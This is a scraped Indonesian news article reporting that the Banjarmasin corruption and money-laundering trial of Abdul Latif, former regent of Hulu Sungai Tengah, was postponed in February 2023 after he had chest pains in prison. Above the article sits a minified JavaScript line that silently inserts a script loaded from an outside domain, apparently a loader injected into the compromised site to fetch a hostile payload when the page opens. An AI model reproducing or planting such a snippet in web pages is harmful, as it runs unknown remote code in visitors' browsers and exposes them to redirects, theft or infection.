(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Terdakwa Sakit, Sidang Abdul Latif Ditunda


KANALKALIMANTAN.COM, BANJARMASIN – Sidang lanjutan kasus gratifikasi dan Tindak Pidana Pencucian Uang (TPPU) dengan terdakwa Abdul Latif, mantan Bupati Hulu Sungai Tengah (HST) di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin ditunda.

Sidang dengan agenda pemeriksaan saksi-saksi dari Jaksa Penuntut Umum KPK sedianya dilaksanakan Rabu (8/2/2023) pagi, namun karena kondisi kesehatan terdakwa yang memburuk maka majelis hakim yang diketuai Jamser Simanjuntak memutuskan untuk ditunda.

Keterangan sakit terdakwa secara mendadak tersebut langsung disampaikan oleh dokter yang menangani Abdul Latif di Lapas Sukamiskin Bandung, Jawa Barat.

Dokter menerangkan, kondisi kesehatan Abdul Latif tiba-tiba memburuk pada pagi hari, Abdul Latif dikabarkan mengalami nyeri pada dada bagian kiri dan perlu penangan khsusus.

 

Baca juga: Baramarta Disebut Selalu Merugi, Massa Unjuk Rasa Minta Dibubarkan

“Tadi pagi dapat telepon dari petugas bahwa Abdul Latif mengalami nyeri dada kiri, saat saya tadi datang pak Abdul Latif masih sesak,” ungkap dr Susi dari Lapas Sukamiskin, Bandung.

Karena kondisinya tidak kunjung membaik, Abdul Latif dikabarkan juga akan dibawa ke rumah sakit terdekat untuk mendapatkan penangan lebih lanjut.

“Kondisinya saat ini emergency, ini mau dibawa ke rumah sakit terdekat,” kata dokter Lapas Sukamiskin kepada majelis hakim.

Untuk diketahui, Abdul Latif didakwa melakukan tindak pidana suap dan pencucian uang saat dirinya menjabat sebagai Bupati HST 2016-2017.

Dari dakwaan JPU, nilai suap yang diterimanya sebesar Rp 41,5 miliar yang kemudian uang hasil suap tersebut dibelikan berupa sejumlah aset dan barang berharga yang diatasnamakan orang lain.

Baca juga: Peringatan Satu Abad NU di Kabupaten Banjar Meriah

Dirinya disangkakan melanggar Pasal 12B Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Sedangkan dakwaan kedua yaitu melanggar Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang.

Pada sidang sebelumnya, melalui putusan sela yang dibacakan pada Rabu (1/2/2023), Majelis Hakim yang diketuai Jamser Simanjuntak juga menolak seluruh eksepsi terdakwa atas dakwan JPU sehingga sidang dilanjutkan ke tahap pembuktian.

Sidang akan dilanjutkan pada Rabu (15/2/2023) mendatang dengan agenda mendengarkan keterangan saksi yang dihadirkan oleh JPU KPK. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

11 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

12 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

13 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

14 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

17 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

20 jam ago

This website uses cookies.